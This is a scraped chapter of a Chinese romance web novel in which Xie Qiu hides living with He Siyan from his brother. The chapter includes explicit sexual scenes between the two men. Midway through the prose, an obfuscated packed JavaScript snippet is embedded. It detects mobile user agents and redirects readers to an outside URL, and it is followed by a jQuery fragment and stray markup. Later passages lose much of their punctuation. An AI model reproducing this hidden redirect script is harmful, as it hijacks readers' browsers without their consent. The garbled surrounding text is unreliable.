第 50 章 老公饶了我

作品:《嫁给豪门植物人大佬后

    第50章老公饶了我


    事分轻重缓急,谢秋只能先答应下来。


    挂断电话后,他关上衣帽间的隔门,想起厨房里还有个人。


    谢秋快步走出卧室,来到厨房:“孔叔,我哥马上要过来,可以麻烦你先回去吗?”


    “当然可以。”孔正麻利摘下身上的围裙,“菜都烧好了,煲的汤在砂锅里,怕凉了还没盛出来。”


    “好的,我知道了。”谢秋应下,“辛苦了。”


    孔正笑道:“您不用客气,这是我的工作。”


    厨师大叔离开了,谢秋关上厨房门,隔绝饭菜的香味,忽又想起什么,跑进卫生间里。


    盥洗台上方的架子上摆着成双成对的牙刷和牙缸,蓝色和黑色看起来很配。


    谢秋唇角微弯,动手将其中一套收进柜子里。


    刚关上柜门,门铃就响了起来。


    谢秋深呼吸一口气,走到门后,打开门:“哥,你来啦。”


    韩柏言面露笑容:“乐乐。”


    谢秋接过他手里拎着的大包小包:“哥你来就来,怎么还带这么多东西呢?”


    “今天是你第一天住进新家,哥空手过来不好。”韩柏言走进门里,目光落在地上,“乐乐,你还给哥准备了拖鞋呢?”


    谢秋心下一跳,将错就错道:“是呀,特意给哥买的拖鞋。”


    还好韩柏言没打开鞋柜,换了拖鞋就往客厅走。


    谢秋将东西放到茶几上,默默祈祷他别发现什么异常的地方。


    韩柏言四下打量了一圈:“乐乐,你日常用品买的差不多了吗?”


    “都买好了。”谢秋瞎编道,“其实我昨天就在搬家了,东西陆陆续续都买齐了。”


    “难怪。”韩柏言转过身,“你也不早点跟哥说,哥还能过来帮帮你。”


    “哥,我知道你平常工作很忙。”谢秋微微一笑,“这些都是小事,我自己来就行了。”


    韩柏言温声说道:“以前你是不得不一个人扛起所有,但现在你有家人了,家人就是用来分担的。”


    谢秋心头一热,笑着应道:“我记下了哥,下次肯定麻烦你。”


    “乖乐乐。”韩柏言继续问道,“一个人住,


    会不会有点害怕?”


    “不害怕。”谢秋摇了摇头,“我又不是小孩子了。”


    韩柏言又说:“害怕也没关系,哥哥平常可以多过来陪陪你。”


    “不用了,哥。”谢秋连忙婉拒道,“你工作辛苦,还要回家陪爸爸,就别为了我来回跑了。”


    “好了,哥只是随口一说。”韩柏言提议道,“你要是觉得孤单,可以邀请你的朋友过来住。”


    谢秋眨了眨眼睫:“真的吗?”


    “当然了,你的房子你做主。”韩柏言回道,“除了主卧,还有两个卧室,你可以邀请那位姓孟的同学过来住,两人互相也有个照应。”


    谢秋:“我再考虑一下吧……”


    “乐乐,你还没吃晚饭吧?”韩柏言换了个话题,“走,哥请你吃饭,庆祝你搬进新家。”


    谢秋可不敢吃这个饭,急中生智道:“哥,我已经点过外卖了。”


    “外卖不健康,不能常吃。”韩柏言略一思索,“这样吧,我给你请个保姆,平常给你做做饭,顺便打扫卫生。”


    “哥,你就放心吧。”谢秋赶紧打消他的念头,“我都这么大个人了,我能照顾好自己的。”


    万一亲哥请的阿姨跟情哥哥请的叔叔正面杠上,那就麻烦了。


    “好吧,哥不说了。”韩柏言好脾气地笑笑,“再说下去,你该嫌我烦了。”


    “没嫌你烦,正好相反。”谢秋眼神明亮,语气诚挚,“我觉得特别幸福。”


    韩柏言轻轻揉了下他的头发:“那就好。”


    两人又聊了会儿,谢秋走到冰箱前,从里面拿出一瓶矿泉水:“哥,你喝点水吧。”


    韩柏言接过矿泉水,拧开后喝了一口:“乐乐,我有件事想跟你商量。”


    谢秋:“什么事你说。”


    韩柏言斟酌道:“自从你回家后,我和爸一直想找机会向别人介绍你。”


    谢秋怔了怔:“哥,你的意思是……”


    “你要是习惯了现在的名字,可以先不改回去。”韩柏言看着他,“但是我想尽快把你介绍给其他人,作为我的亲弟弟。”


    谢秋毫不犹豫地回道:“哥,我听你跟爸的安排。”


    “那太好了。”韩柏言表情放松下来,“这周六我们举办一


    场宴会,正式把你介绍给所有人。


    “这周六?谢秋犹豫了一下,“会不会有点太匆忙了?


    “不匆忙。韩柏言笑着回道,“哥一直在为这天做准备。


    谢秋举起手,敬了个礼:“好,我一定准时参加。


    韩柏言看了眼腕表:“时间不早了,那哥先回去了,有事电话联系。


    谢秋点头:“哥,我送你下楼吧。


    韩柏言没让弟弟送,自己离开了。


    谢秋估摸着时间,等了好几分钟后,才摸出手机发消息。


    谢秋:【我哥走了,你上来吧。】


    贺司宴:【好。】


    谢秋握着手机,有些忐忑不安地等待着审判。


    没过多久,门外传来按密码的声音。


    贺司宴一打开门,就听见甜甜的一声:“欢迎回家!


    谢秋站在门口迎接他,站姿乖巧得像个小学生。


    贺司宴冷笑一声:“回自己的家,可不用东躲西藏。


    谢秋自知理亏,上前两步,主动帮忙脱下西装外套。


    贺司宴垂眸看他,任由他脱下外套,然后一抬手,掐着细腰将他抱到了玄关柜子上。


    谢秋干咽了一下:“你饿了吗?要不要先吃饭再找我算账?


    贺司宴没说话,捏着他的下巴抬起来。


    谢秋的唇被咬了一口,吃痛张开齿关,有力的舌尖趁机就顶了进去。


    男人的吻野蛮又凶残,吻得他呼吸不过来,不由挣扎着往后躲,后脑勺却只能蹭在墙面上。


    贺司宴终于往后撤离了一点,伸出舌尖舔着湿淋淋的下颌,又重重吮了下亮晶晶的唇珠。


    “你……谢秋小口喘着气,软着嗓子问道,“消、消气了吗?


    贺司宴笑了声,将人抱起来往客厅方向走:“这才哪儿到哪儿?


    谢秋在他怀里打了个颤:“我错了……


    贺司宴不接话,把人放到椅子上:“先吃晚饭。


    厨房里的菜还在保温,端出来就可以直接吃了。


    谢秋吃了块糖醋排骨,忍不住夸赞道:“好好吃,比外面大厨做的还好吃。


    “你喜欢就好。贺司宴淡淡回道,“老孔以前确实是私房菜馆的大厨


    。”


    谢秋:“……”


    私房菜馆的大厨就这么来给他当私人厨子


    贺司宴显然不觉得浪费给他盛了碗鲫鱼汤:“多吃点。”


    谢秋食欲很好但胃口不大吃了一会儿就饱了。


    见他放下筷子贺司宴不动声色地问道:“吃饱了吗?”


    谢秋靠在椅背上摸了摸肚子:“饱了。”


    贺司宴笑了:“那该轮到我了。”


    “你没吃——”谢秋和他对视二话不说跳下了椅子头也不回地往主卧跑去。


    “跑。”贺司宴坐在原位声音里带了丝戏谑“我倒想看看你能跑到哪里去。”


    谢秋脚步一顿转过身语气可怜巴巴道:“我真的错了保证下次不再犯了好不好?”


    贺司宴起身朝他走过来:“下次归下次这次归这次。”


    谢秋被抱了起来试图做最后的挣扎:“我明天要上早八。”


    贺司宴抱着他往浴室方向走:“我知道。”


    进了浴室后谢秋几下就被剥光了。


    头顶的花洒打开在温热的水流中他没办法睁开眼睛只能仰着脸承受贺司宴的吻。


    吻着吻着两人的气息都变了。


    谢秋转身面对墙壁被迫塌下腰掌心抵着冰凉的瓷砖背后紧紧贴着滚烫的身躯。


    贺司宴吻他的耳后根嗓音哑了下去:“宝宝站好了。”


    谢秋被烫得打哆嗦:“要是我站不住呢……”


    贺司宴握着他的腰将他往上拎了拎:“要是站不住惩罚加倍。”


    谢秋还想说话下一秒却什么也说不出了。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13594151|136337||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    浴室里水气缭绕空气湿得能拧出水来。


    谢秋努力踮着脚尖手心根本按不住湿滑的瓷砖很快就只能哭着讨饶。


    贺司宴咬他的耳垂恶劣地说道:“宝宝要接受惩罚了。”


    谢秋被抱出浴室时整个人都挂在贺司宴身上。


    男人的手臂肌肉结实而强壮托抱着他就像抱一只娃娃那样轻松。


    湿漉漉的水痕从浴室一路蔓延至卧室来到了窗台前。


    主卧做了大飘窗台子上垫了厚实而柔软的毛毯高度正


    好。


    谢秋指尖抓着飘飘荡荡的窗帘腿软得几乎跪不住完全依靠身后两只大手牢牢钉死了他。


    “宝宝。”贺司宴嗓音又低又哑“叫我。”


    谢秋颤颤巍巍地唤道:“贺司宴……”


    贺司宴亲他的后颈:“不对。”


    谢秋呜咽一声:“哥哥……”


    “还是不对。”贺司宴陡然又变凶了“再想。”


    谢秋被逼得几近崩溃:“我不知道呜……”


    “叫老公。”贺司宴下颌的热汗滴下来打在雪白的背上咬着牙说道“叫老公就放过你。”


    “老公……”谢秋艰难地扭过脸满面潮红“老公饶了我……”


    贺司宴舔了舔他眼角的湿痕:“好老公疼你。”


    谢秋后悔了但是飘窗台就这么大他往前爬了两步又被狠狠拖了回去。


    *


    翌日清晨谢秋是在熟悉的怀抱里醒来的。


    他眨了眨酸涩的眼睛目光落在棱角分明的下颌上气得一巴掌糊上去。


    只不过手心挨上那张俊脸时还是卸下了大半力道轻得像是在抚摸对方。


    贺司宴睁开双眼低哑的嗓音满是餍足:“早上好宝宝。”


    “骗子。”谢秋气呼呼地骂道“大骗子。”


    说什么叫了老公就放过他结果不仅没有放过他反而把他翻来覆去折腾得更惨了……


    贺司宴从善如流地道歉又凑过去亲他。


    他捂住嘴不让亲烫人的唇落在了手背上顺着手背继续往下亲。


    谢秋被亲得很痒:“我要起床了……”


    贺司宴率先起身抱他去了卫生间。


    两人并排站在盥洗台前刷牙谢秋看着镜子里一高一矮的两道身影眉眼弯了弯。


    贺司宴察觉到了


    牙膏是白桃口味的两人接了个清新的水果味的吻。


    最后还是谢秋红着脸推开了男人:“我要迟到了。”


    贺司宴用指腹抹了抹他的唇角:“来得及。”


    “住的近就是好啊……”谢秋说着忽然意识到了什么。


    贺司宴会这么干脆地同意他搬进来该不会就是


    因为这个吧?


    这算不算是他自己引狼入室了?


    贺司宴又抱起他往外走:“我做了早餐吃了再去学校。”


    谢秋疑惑道:“你会做饭?”


    贺司宴回道:“现学的。”


    谢秋心里有些感动又有些复杂:“你竟然还能早起做早餐……”


    贺司宴将他放到椅子上点了点他的鼻尖:“我需要的睡眠不多。”


    谢秋脱口而出:“是因为年纪大了吗?”


    贺司宴眯了下黑眸:“你说什么?”


    “没没……”谢秋心虚地垂下眼睫“我什么也没说吃早饭吧。”


    贺司宴盯着他看了几秒直起腰身去厨房端出了早餐。


    吐司滑蛋煎培根蔬菜沙拉配上牛奶看起来很是丰富。


    谢秋竖起大拇指:“太棒了。”


    贺司宴唇角牵了牵问道:“身体有没有不舒服?”


    “还好。”谢秋回道“就是肌肉有点酸疼问题不大。”


    其实说句实话贺司宴事前事后都做得非常周到技术也精进得飞快只不过由于两人巨大的体力差距到后面爽过了头就变成了……


    贺司宴微一点头评价道:“天赋异禀。”


    谢秋茫然:“什么?”


    作者有话要说


    秋秋:什么天赋异禀?


    贺司宴:意思是天生适合被我……


    亲妈:贺总怎么突然变文雅了?


    来啦来啦